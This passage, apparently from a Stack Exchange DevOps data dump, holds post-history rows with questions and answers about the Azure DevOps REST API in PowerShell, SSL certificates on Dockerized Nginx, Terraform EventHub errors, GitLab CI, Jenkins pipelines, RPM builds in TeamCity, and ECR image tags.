[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes((&quot;{0}:{1}&quot; -f &quot;&quot;,$pacToken))))}&#xD;&#xA;    #$adoHeader #accept about anything and add security in the header&#xD;&#xA;    &#xD;&#xA;    #api to create &#xD;&#xA;    $adoTaskUri = &quot;https://dev.azure.com/BLECUST/_apis/projects?api-version=5.1&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #list all projects&#xD;&#xA;    $response = Invoke-RestMethod -Uri $adoTaskUri -ContentType &quot;application/json-patch+json&quot;  -headers $adoHeader -Method GET&#xD;&#xA;    $response.value | ft name, visibility, url&#xD;&#xA;    &#xD;&#xA;    $body='{&#xD;&#xA;      &quot;name&quot;: &quot;FabrikamTravel18&quot;,&#xD;&#xA;      &quot;description&quot;: &quot;Frabrikam travel app for Windows Phone&quot;,&#xD;&#xA;      &quot;capabilities&quot;: {&#xD;&#xA;        &quot;versioncontrol&quot;: {&#xD;&#xA;          &quot;sourceControlType&quot;: &quot;Git&quot;&#xD;&#xA;        },&#xD;&#xA;        &quot;processTemplate&quot;: {&#xD;&#xA;          &quot;templateTypeId&quot;: &quot;6b724908-ef14-45cf-84f8-768b5384da45&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }'&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Invoke-RestMethod -Uri $adoTaskUri -ContentType &quot;application/json-patch+json&quot; -Body $body-headers $adoHeader -Method POST&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41102" PostHistoryTypeId="1" PostId="13353" RevisionGUID="82c69507-abc4-412b-a219-2a6ec7ff8a12" CreationDate="2021-02-11T22:34:32.113" UserId="26072" Text="REST API: create project with powershell returns unspecified internal error" ContentLicense="CC BY-SA 4.0" />
  <row Id="41103" PostHistoryTypeId="3" PostId="13353" RevisionGUID="82c69507-abc4-412b-a219-2a6ec7ff8a12" CreationDate="2021-02-11T22:34:32.113" UserId="26072" Text="&lt;azure-devops&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41105" PostHistoryTypeId="2" PostId="13354" RevisionGUID="125542c2-986d-43b5-ae35-91342affc603" CreationDate="2021-02-12T11:44:44.453" UserId="6341" Text="Your script works, just update the last content type to `application/json`:&#xD;&#xA;&#xD;&#xA;    Invoke-RestMethod -Uri $adoTaskUri -ContentType &quot;application/json&quot; -Body $body -headers $adoHeader -Method POST&#xD;&#xA;&#xD;&#xA;PATCH is used to update a team project: https://docs.microsoft.com/en-us/rest/api/azure/devops/core/projects/update?view=azure-devops-rest-6.1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41106" PostHistoryTypeId="2" PostId="13355" RevisionGUID="b66d328c-1662-4b08-b427-8310a75241b9" CreationDate="2021-02-12T12:44:21.053" UserId="26080" Text="To use servicetags api you have to register Microsoft.Netowork resource provider at azure subscription level.&#xD;&#xA;Also I've made simplified api to get servicetags informations, you can see them at this link:&#xD;&#xA;https://tinyurl.com/nouu80vq &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41107" PostHistoryTypeId="2" PostId="13356" RevisionGUID="aaeb0664-c28f-45c0-a87a-84f37eb3c26f" CreationDate="2021-02-12T18:26:53.380" UserId="26087" Text="I have a website running at https://domain.com and IP a.a.a.a, with an SSL cert issued by GoDaddy. The server is deployed with Nginx. Everything is working fine as it is.&#xD;&#xA;&#xD;&#xA;However I'm trying to deploy the same website with Docker in a new server with IP b.b.b.b, so I did the following:&#xD;&#xA;1. Pull nginx image from Docker&#xD;&#xA;2. **Copy the domain.com.chained.crt and domain.com.key files from server a.a.a.a to server b.b.b.b**&#xD;&#xA;3. In the Docker file, I copy the cert files to the image&#xD;&#xA;4. When I run the container and check nginx with `nginx -t`, it seems to be working fine.&#xD;&#xA;5. Ports 443 and 80 are open for external requests&#xD;&#xA;6. I check that the website is running by accessing to b.b.b.b:80 from an external client&#xD;&#xA;7. Configure the DNS to resolve to b.b.b.b instead of a.a.a.a&#xD;&#xA;8. Check that http://domain.com is working&#xD;&#xA;&#xD;&#xA;Up to that point everything is working fine. But when I try to access https://domain.com I get the following errors:&#xD;&#xA;- With firefox: ERR_SSL_PROTOCOL_ERROR&#xD;&#xA;- With chrome: SSL_ERROR_RX_RECORD_TOO_LONG&#xD;&#xA;- The site https://www.sslshopper.com/ssl-checker.html tells me this: `No SSL certificates were found on domain.com. Make sure that the name resolves to the correct server and that the SSL port (default is 443) is open on your server's firewall.`&#xD;&#xA;&#xD;&#xA;The Nginx error logs don't tell me much, although I have them in debug mode.&#xD;&#xA;&#xD;&#xA;My main question is: Can I copy the cert files from one server to another or do I have to generate them again?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41108" PostHistoryTypeId="1" PostId="13356" RevisionGUID="aaeb0664-c28f-45c0-a87a-84f37eb3c26f" CreationDate="2021-02-12T18:26:53.380" UserId="26087" Text="Can I move SSL certificate files from one server to another for the same domain?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41109" PostHistoryTypeId="3" PostId="13356" RevisionGUID="aaeb0664-c28f-45c0-a87a-84f37eb3c26f" CreationDate="2021-02-12T18:26:53.380" UserId="26087" Text="&lt;docker&gt;&lt;nginx&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41110" PostHistoryTypeId="5" PostId="13356" RevisionGUID="c055e81f-2c5b-4e7a-b15a-e53d713845bd" CreationDate="2021-02-12T18:52:40.407" UserId="26087" Comment="added 392 characters in body" Text="I have a website running at https://domain.com and IP a.a.a.a, with an SSL cert issued by GoDaddy. The server is deployed with Nginx. Everything is working fine as it is.&#xD;&#xA;&#xD;&#xA;However I'm trying to deploy the same website with Docker in a new server with IP b.b.b.b, so I did the following:&#xD;&#xA;1. Pull nginx image from Docker&#xD;&#xA;2. **Copy the domain.com.chained.crt and domain.com.key files from server a.a.a.a to server b.b.b.b**&#xD;&#xA;3. In the Docker file, I copy the cert files to the image&#xD;&#xA;4. When I run the container and check nginx with `nginx -t`, it seems to be working fine.&#xD;&#xA;5. Ports 443 and 80 are open for external requests&#xD;&#xA;6. I check that the website is running by accessing to b.b.b.b:80 from an external client&#xD;&#xA;7. Configure the DNS to resolve to b.b.b.b instead of a.a.a.a&#xD;&#xA;8. Check that http://domain.com is working&#xD;&#xA;&#xD;&#xA;Up to that point everything is working fine. But when I try to access https://domain.com I get the following errors:&#xD;&#xA;- With firefox: ERR_SSL_PROTOCOL_ERROR&#xD;&#xA;- With chrome: SSL_ERROR_RX_RECORD_TOO_LONG&#xD;&#xA;- The site https://www.sslshopper.com/ssl-checker.html tells me this: `No SSL certificates were found on domain.com. Make sure that the name resolves to the correct server and that the SSL port (default is 443) is open on your server's firewall.`&#xD;&#xA;&#xD;&#xA;The Nginx error logs don't tell me much, although I have them in debug mode.&#xD;&#xA;&#xD;&#xA;My main question is: Can I copy the cert files from one server to another or do I have to generate them again?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;This is the docker-compose.yml&#xD;&#xA;&#xD;&#xA;    sevices:  &#xD;&#xA;      nginx:&#xD;&#xA;        build: ./nginx&#xD;&#xA;        image: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;          - &quot;443:443&quot;&#xD;&#xA;      redis:&#xD;&#xA;        image: redis&#xD;&#xA;        ports: &#xD;&#xA;          - &quot;6379:6379&quot;&#xD;&#xA;      mongo:&#xD;&#xA;        image: mongo&#xD;&#xA;        ports: &#xD;&#xA;          - &quot;27017:27017&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - /var/mongodata:/data/db&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41111" PostHistoryTypeId="5" PostId="13356" RevisionGUID="12f5f036-6368-4e75-8265-a581f2523142" CreationDate="2021-02-12T18:57:45.897" UserId="26087" Comment="added 392 characters in body" Text="I have a website running at https://domain.com and IP a.a.a.a, with an SSL cert issued by GoDaddy. The server is deployed with Nginx. Everything is working fine as it is.&#xD;&#xA;&#xD;&#xA;However I'm trying to deploy the same website with Docker in a new server with IP b.b.b.b, so I did the following:&#xD;&#xA;1. Pull nginx image from Docker&#xD;&#xA;2. **Copy the domain.com.chained.crt and domain.com.key files from server a.a.a.a to server b.b.b.b**&#xD;&#xA;3. In the Docker file, I copy the cert files to the image&#xD;&#xA;4. When I run the container and check nginx with `nginx -t`, it seems to be working fine.&#xD;&#xA;5. Ports 443 and 80 are open for external requests&#xD;&#xA;6. I check that the website is running by accessing to b.b.b.b:80 from an external client&#xD;&#xA;7. Configure the DNS to resolve to b.b.b.b instead of a.a.a.a&#xD;&#xA;8. Check that http://domain.com is working&#xD;&#xA;&#xD;&#xA;Up to that point everything is working fine. But when I try to access https://domain.com I get the following errors:&#xD;&#xA;- With firefox: ERR_SSL_PROTOCOL_ERROR&#xD;&#xA;- With chrome: SSL_ERROR_RX_RECORD_TOO_LONG&#xD;&#xA;- The site https://www.sslshopper.com/ssl-checker.html tells me this: `No SSL certificates were found on domain.com. Make sure that the name resolves to the correct server and that the SSL port (default is 443) is open on your server's firewall.`&#xD;&#xA;&#xD;&#xA;The Nginx error logs don't tell me much, although I have them in debug mode.&#xD;&#xA;&#xD;&#xA;My main question is: Can I copy the cert files from one server to another or do I have to generate them again?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;This is the docker-compose.yml&#xD;&#xA;&#xD;&#xA;    sevices:  &#xD;&#xA;      nginx:&#xD;&#xA;        build: ./nginx&#xD;&#xA;        image: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;          - &quot;443:443&quot;&#xD;&#xA;      redis:&#xD;&#xA;        image: redis&#xD;&#xA;        ports: &#xD;&#xA;          - &quot;6379:6379&quot;&#xD;&#xA;      mongo:&#xD;&#xA;        image: mongo&#xD;&#xA;        ports: &#xD;&#xA;          - &quot;27017:27017&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - /var/mongodata:/data/db&#xD;&#xA;&#xD;&#xA;Dockerfile&#xD;&#xA;&#xD;&#xA;    FROM custom:latest&#xD;&#xA;    &#xD;&#xA;    COPY nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;    COPY /ssl/domain.com.key /etc/nginx/ssl/domain.com.key&#xD;&#xA;    COPY /ssl/domain.com.chained.crt /etc/nginx/ssl/domain.com.chained.crt&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    RUN apt-get -y install nodejs libssl1.0-dev  nodejs-dev node-gyp npm  &#xD;&#xA;    [...]&#xD;&#xA;    CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]&#xD;&#xA;&#xD;&#xA;nginx.conf&#xD;&#xA;&#xD;&#xA;    user www-data;&#xD;&#xA;    worker_processes auto;&#xD;&#xA;    pid /run/nginx.pid;&#xD;&#xA;    include /etc/nginx/modules-enabled/*.conf;&#xD;&#xA;    &#xD;&#xA;    events {&#xD;&#xA;    	worker_connections 768;&#xD;&#xA;    	# multi_accept on;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    http {&#xD;&#xA;    &#xD;&#xA;    	##&#xD;&#xA;    	# Basic Settings&#xD;&#xA;    	##&#xD;&#xA;    &#xD;&#xA;    	sendfile on;&#xD;&#xA;    	tcp_nopush on;&#xD;&#xA;    	tcp_nodelay on;&#xD;&#xA;    	keepalive_timeout 65;&#xD;&#xA;    	types_hash_max_size 2048;&#xD;&#xA;    	# server_tokens off;&#xD;&#xA;    &#xD;&#xA;    	# server_names_hash_bucket_size 64;&#xD;&#xA;    	# server_name_in_redirect off;&#xD;&#xA;    &#xD;&#xA;    	include /etc/nginx/mime.types;&#xD;&#xA;    	default_type application/octet-stream;&#xD;&#xA;    &#xD;&#xA;    	##&#xD;&#xA;    	# SSL Settings&#xD;&#xA;    	##&#xD;&#xA;    &#xD;&#xA;    	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE&#xD;&#xA;    	ssl_prefer_server_ciphers on;&#xD;&#xA;    &#xD;&#xA;    	##&#xD;&#xA;    	# Logging Settings&#xD;&#xA;    	##&#xD;&#xA;    &#xD;&#xA;    	access_log /var/log/nginx/access.log;&#xD;&#xA;    	error_log /var/log/nginx/error.log debug;&#xD;&#xA;    &#xD;&#xA;    	##&#xD;&#xA;    	# Gzip Settings&#xD;&#xA;    	##&#xD;&#xA;    &#xD;&#xA;    	gzip on;&#xD;&#xA;    &#xD;&#xA;    	# gzip_vary on;&#xD;&#xA;    	# gzip_proxied any;&#xD;&#xA;    	# gzip_comp_level 6;&#xD;&#xA;    	# gzip_buffers 16 8k;&#xD;&#xA;    	# gzip_http_version 1.1;&#xD;&#xA;    	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;&#xD;&#xA;    &#xD;&#xA;    	##&#xD;&#xA;    	# Virtual Host Configs&#xD;&#xA;    	##&#xD;&#xA;    &#xD;&#xA;    	include /etc/nginx/conf.d/*.conf;&#xD;&#xA;    	#include /etc/nginx/sites-enabled/*;&#xD;&#xA;    &#xD;&#xA;        server {&#xD;&#xA;            listen 80;&#xD;&#xA;            listen [::]:80;&#xD;&#xA;    		listen 443;&#xD;&#xA;    				&#xD;&#xA;    		server_name www.domain.com;&#xD;&#xA;    		ssl_certificate /etc/nginx/ssl/domain.com.chained.crt;&#xD;&#xA;    		ssl_certificate_key /etc/nginx/ssl/domain.com.key;&#xD;&#xA;    &#xD;&#xA;            location / {&#xD;&#xA;                root /domain.com/;&#xD;&#xA;                try_files $uri$args $uri$args/ /index.html;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41112" PostHistoryTypeId="5" PostId="13337" RevisionGUID="342bdbb3-eaf4-44fb-a812-7cd35d055315" CreationDate="2021-02-12T20:10:37.267" UserId="26079" Comment="Reformat to make it slightly more readable" Text="I added a piece of code to support enable/disable to the feature - I used the `count`. Now I have the following problem:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ERROR:&#xD;&#xA;on modules/eventhub/main.tf line 110, in resource &quot;azurerm_eventhub&quot; &quot;events&quot;:&#xD;&#xA;&#xD;&#xA; 110:   namespace_name      = azurerm_eventhub_namespace.eventhub.*.name&#xD;&#xA;    |----------------&#xD;&#xA;    | azurerm_eventhub_namespace.eventhub is tuple with 1 element&#xD;&#xA;&#xD;&#xA;Inappropriate value for attribute &quot;namespace_name&quot;: string required.&#xD;&#xA;&#xD;&#xA;# Create EventHub namespace&#xD;&#xA;resource &quot;azurerm_eventhub_namespace&quot; &quot;eventhub&quot; {&#xD;&#xA;  count               = var.enable_eh ? 1 : 0&#xD;&#xA;  name                  = &quot;${var.name}-ns&quot;&#xD;&#xA;  location              = var.location&#xD;&#xA;  resource_group_name   = var.resource_group&#xD;&#xA;  sku                   = var.sku&#xD;&#xA;  capacity              = var.capacity&#xD;&#xA;  dedicated_cluster_id = azurerm_eventhub_cluster.eventhub[count.index].id #for eventHub Cluster&#xD;&#xA;  auto_inflate_enabled     = var.auto_inflate != null ? var.auto_inflate.enabled : null&#xD;&#xA;  maximum_throughput_units = var.auto_inflate != null ? var.auto_inflate.maximum_throughput_units : null&#xD;&#xA;&#xD;&#xA;    dynamic &quot;network_rulesets&quot; {&#xD;&#xA;    for_each = var.network_rules != null ? [&quot;true&quot;] : []&#xD;&#xA;    content {&#xD;&#xA;      default_action = &quot;Deny&quot;&#xD;&#xA;      dynamic &quot;ip_rule&quot; {&#xD;&#xA;        for_each = var.network_rules.ip_rules&#xD;&#xA;        iterator = iprule&#xD;&#xA;        content {&#xD;&#xA;          ip_mask = iprule.value&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      dynamic &quot;virtual_network_rule&quot; {&#xD;&#xA;        for_each = var.network_rules.subnet_ids&#xD;&#xA;        iterator = subnet&#xD;&#xA;        content {&#xD;&#xA;          subnet_id = subnet.value&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  tags = var.tags&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_eventhub_namespace_authorization_rule&quot; &quot;events&quot; {&#xD;&#xA;  for_each            = local.authorization_rules&#xD;&#xA;  name                = each.key&#xD;&#xA;  namespace_name      = azurerm_eventhub_namespace.eventhub.*.name&#xD;&#xA;  resource_group_name = var.resource_group&#xD;&#xA;&#xD;&#xA;  listen = each.value.listen&#xD;&#xA;  send   = each.value.send&#xD;&#xA;  manage = each.value.manage&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;azurerm_eventhub&quot; &quot;events&quot; {&#xD;&#xA;  for_each            = local.hubs&#xD;&#xA;  name                = each.key&#xD;&#xA;  **namespace_name      = azurerm_eventhub_namespace.eventhub.*.name  &lt;------ problematic line**&#xD;&#xA;&#xD;&#xA;  resource_group_name = var.resource_group&#xD;&#xA;  partition_count     = each.value.partitions&#xD;&#xA;  message_retention   = each.value.message_retention&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I don't know what the issue is." ContentLicense="CC BY-SA 4.0" />
  <row Id="41113" PostHistoryTypeId="24" PostId="13337" RevisionGUID="342bdbb3-eaf4-44fb-a812-7cd35d055315" CreationDate="2021-02-12T20:10:37.267" Comment="Proposed by 26079 approved by 40 edit id of 1344" ContentLicense="CC BY-SA 4.0" />
  <row Id="41114" PostHistoryTypeId="2" PostId="13357" RevisionGUID="035c5856-859d-45db-92f9-c7734e4fb920" CreationDate="2021-02-12T21:34:50.153" UserId="26093" Text="I know that I can't have multiple gitlab-ci.yml files in one repo, but it still seems fairly limited. Say for example I have one set of tests I want to run whenever a change is pushed or on PRs, and another set I want to run every 24 hours. Is there a way to do that, or do I only get one set of tests I have to use whenever I want to run CI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41115" PostHistoryTypeId="1" PostId="13357" RevisionGUID="035c5856-859d-45db-92f9-c7734e4fb920" CreationDate="2021-02-12T21:34:50.153" UserId="26093" Text="Can I run multiple pipelines in a single GitLab repo using GitLab CI/CD?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41116" PostHistoryTypeId="3" PostId="13357" RevisionGUID="035c5856-859d-45db-92f9-c7734e4fb920" CreationDate="2021-02-12T21:34:50.153" UserId="26093" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41117" PostHistoryTypeId="2" PostId="13358" RevisionGUID="b38414ad-3097-4b35-bb52-fe28eb0928a7" CreationDate="2021-02-12T21:34:51.787" UserId="6308" Text="Yes, you can.&#xD;&#xA;Use Storage Gateway service. It will give you a NFS endpoint. Mount that using kubernetes volumn.&#xD;&#xA;It is possible. I have already achieved this." ContentLicense="CC BY-SA 4.0" />
  <row Id="41118" PostHistoryTypeId="2" PostId="13359" RevisionGUID="abd94a66-a442-4183-8854-371d19f07a8e" CreationDate="2021-02-12T22:38:16.783" UserId="6377" Text="Is there a way to write a stage in a Jenkins shared library so that it can be added to declarative pipelines?&#xD;&#xA;&#xD;&#xA;# Background&#xD;&#xA;&#xD;&#xA;For many projects, I need to run tests on multiple different servers.  My solution is to create a bunch of parallel stages, one for each of the servers that I want to run on.  I've gotten to this pipeline (running on 2 servers as an example):&#xD;&#xA;&#xD;&#xA;```Jenkinsfile&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('Test') {&#xD;&#xA;            parallel {&#xD;&#xA;                stage('San Jose') {&#xD;&#xA;                    agent {&#xD;&#xA;                        label &quot;test &amp;&amp; san-jose&quot;&#xD;&#xA;                    }&#xD;&#xA;                    steps {&#xD;&#xA;                        sh 'run-tests'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;                stage('Dallas') {&#xD;&#xA;                    agent {&#xD;&#xA;                        label 'test dallas'&#xD;&#xA;                    }&#xD;&#xA;                    steps {&#xD;&#xA;                        sh 'run-tests'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Which is great, but I'd really like to keep my code DRY and not have to copy and paste this Test stage to every project I have (especially since this has to run on about 10 servers, with only the label changing each time).&#xD;&#xA;&#xD;&#xA;I could put the whole pipeline into my shared libary (like [Jenkins's example in the documentation][1]), but then I can't customize the other stages (for example, adding a release stage).&#xD;&#xA;&#xD;&#xA;What I'd really like to do is this:&#xD;&#xA;&#xD;&#xA;```Jenkinsfile&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        runOnServers {&#xD;&#xA;            sh 'run-tests'&#xD;&#xA;        }&#xD;&#xA;        stage('Release') {&#xD;&#xA;            echo 'release'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;Is there a way I can do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/blog/2017/10/02/pipeline-templates-with-shared-libraries/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41119" PostHistoryTypeId="1" PostId="13359" RevisionGUID="abd94a66-a442-4183-8854-371d19f07a8e" CreationDate="2021-02-12T22:38:16.783" UserId="6377" Text="Add stages to Jenkins declarative pipeline through shared library" ContentLicense="CC BY-SA 4.0" />
  <row Id="41120" PostHistoryTypeId="3" PostId="13359" RevisionGUID="abd94a66-a442-4183-8854-371d19f07a8e" CreationDate="2021-02-12T22:38:16.783" UserId="6377" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41121" PostHistoryTypeId="2" PostId="13360" RevisionGUID="4ca0d895-18b0-4465-9759-3fb5c129708f" CreationDate="2021-02-12T23:00:31.720" UserId="26095" Text="I'm new to building `RPMs` . &#xD;&#xA;I need to build a source code from `github` and that is throwing missing header file `systemd/sd-journal.h: No such file or directory` .&#xD;&#xA;For this, I found on one of the `github` discussion that I need to install `systemd-devel` on my centos7 host.&#xD;&#xA;I did install that manually and code build ran fine. &#xD;&#xA;However, now I need to push the spec file in code repository from where `teamcity` agent will get the code and build it and I can not manually install any package there. &#xD;&#xA;&#xD;&#xA;Can please someone suggest me how do I install this package part of spec file or some other templates available to install on the temporary created `teamcity agent` host." ContentLicense="CC BY-SA 4.0" />
  <row Id="41122" PostHistoryTypeId="1" PostId="13360" RevisionGUID="4ca0d895-18b0-4465-9759-3fb5c129708f" CreationDate="2021-02-12T23:00:31.720" UserId="26095" Text="Building the rpm package in teamcity and installing the packages required to build this" ContentLicense="CC BY-SA 4.0" />
  <row Id="41123" PostHistoryTypeId="3" PostId="13360" RevisionGUID="4ca0d895-18b0-4465-9759-3fb5c129708f" CreationDate="2021-02-12T23:00:31.720" UserId="26095" Text="&lt;linux&gt;&lt;build-pipeline&gt;&lt;centos&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41125" PostHistoryTypeId="2" PostId="13361" RevisionGUID="736bee23-e5a1-4762-aaa9-f74c1b3ae553" CreationDate="2021-02-13T01:23:29.777" UserId="23647" Text="I've been trying to get a solution for a docker image tag drop down parameter in a Jenkinsfile for a deploy pipeline. So basically, pipeline as code, with choose your own image tag to deploy this project. In my case I'm _trying_ to use the Declarative style. But I'm not against scripted if that is my only choice. I just want the job described in code and not freestyle. I feel like I'm close, but I have not seem to have had success yet. Here are some of my examples of my attempts.&#xD;&#xA;&#xD;&#xA;I don't think it matters, but in case it does. This is the latest Jenkins, I just pulled in the latest patch today. This is also running in kubernetes and runs on the agents that get spun up from the kubernetes plugin.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;properties([&#xD;&#xA;  parameters([&#xD;&#xA;    [$class: 'ChoiceParameter',&#xD;&#xA;      choiceType: 'PT_SINGLE_SELECT',&#xD;&#xA;      description: 'Image Tag To Deploy',&#xD;&#xA;      filterable: true,&#xD;&#xA;      name: 'TAG',&#xD;&#xA;      script: [&#xD;&#xA;        $class: 'GroovyScript',&#xD;&#xA;        script: [&#xD;&#xA;          classpath: [],&#xD;&#xA;          sandbox: false,&#xD;&#xA;          script:&#xD;&#xA;            &quot;&quot;&quot;&#xD;&#xA;            def sout = new StringBuffer(), serr = new StringBuffer()&#xD;&#xA;            def ecrLogin = 'aws ecr get-login-password --region us-gov-west-1 | docker login --username AWS --password-stdin 123456789012.dkr.ecr.us-gov-west-1.amazonaws.com'.execute()&#xD;&#xA;            def proc = 'aws ecr list-images --repository-name elasticsearch --region us-gov-west-1 --output json | jq -r \'.imageIds[].imageTag\' | grep -v null | sort -V'.execute()&#xD;&#xA;&#xD;&#xA;            proc.consumeProcessOutput(sout, serr)&#xD;&#xA;            proc.waitForOrKill(10000)&#xD;&#xA;&#xD;&#xA;            return proc.text.readLines()&#xD;&#xA;            &quot;&quot;&quot;&#xD;&#xA;        ]&#xD;&#xA;      ]&#xD;&#xA;    ]&#xD;&#xA;  ])&#xD;&#xA;])&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;  stages() {&#xD;&#xA;    steps {&#xD;&#xA;      script {&#xD;&#xA;        sh('echo &quot;${params.TAG}&quot;')&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I think most of this is probably right. But the final part of outputting the returned tags. Without repeating the entire code block, here are some other attempts in just the last part.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;results = &quot;${proc.in.text}&quot;.eachLine { line -&gt;&#xD;&#xA;  tags &lt;&lt; line&#xD;&#xA;}&#xD;&#xA;return tags&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def tags = stdout.tokenize().join('\n')&#xD;&#xA;def results = []&#xD;&#xA;tags.each { tag -&gt;&#xD;&#xA;  results.add(&quot;${tag}&quot;)&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;return results&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;even tried&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def getTags() {&#xD;&#xA;  def sout = new StringBuffer(), serr = new StringBuffer()&#xD;&#xA;  def ecrLogin = 'aws ecr get-login-password --region us-gov-west-1 | docker login --username AWS --password-stdin 123456789012.dkr.ecr.us-gov-west-1.amazonaws.com'.execute()&#xD;&#xA;  def proc = 'aws ecr list-images --repository-name elasticsearch --region us-gov-west-1 --output json | jq -r \'.imageIds[].imageTag\' | grep -v null | sort -V'.execute()&#xD;&#xA;&#xD;&#xA;  proc.consumeProcessOutput(sout, serr)&#xD;&#xA;  proc.waitForOrKill(10000)&#xD;&#xA;&#xD;&#xA;  def tags = sout.tokenize().join('\n')&#xD;&#xA;  def results = []&#xD;&#xA;  tags.each { tag -&gt;&#xD;&#xA;    results.add(&quot;${tag}&quot;)&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  return results&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;properties([&#xD;&#xA;  parameters([&#xD;&#xA;    [$class: 'ChoiceParameterDefinition',&#xD;&#xA;      name: 'TAG',&#xD;&#xA;      description: 'Image Tag To Deploy',&#xD;&#xA;      choices: getTags()&#xD;&#xA;    ]&#xD;&#xA;  ])&#xD;&#xA;])&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I've looked into [this plugin][1]. But I couldn't seem to get it to work. Also, we are using gov cloud which may have been part of the issue. Any thoughts on what I might be doing wrong, or what I'm missing? Any alternative approaches you might suggest? Other plugins which might save me from scripting this out myself?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/image-tag-parameter/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41126" PostHistoryTypeId="1" PostId="13361" RevisionGUID="736bee23-e5a1-4762-aaa9-f74c1b3ae553" CreationDate="2021-02-13T01:23:29.777" UserId="23647" Text="Jenkinsfile pipeline ecr docker tag parameter" ContentLicense="CC BY-SA 4.0" />
  <row Id="41127" PostHistoryTypeId="3" PostId="13361" RevisionGUID="736bee23-e5a1-4762-aaa9-f74c1b3ae553" CreationDate="2021-02-13T01:23:29.777" UserId="23647" Text="&lt;jenkins&gt;&lt;groovy&gt;&lt;aws-ecr&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
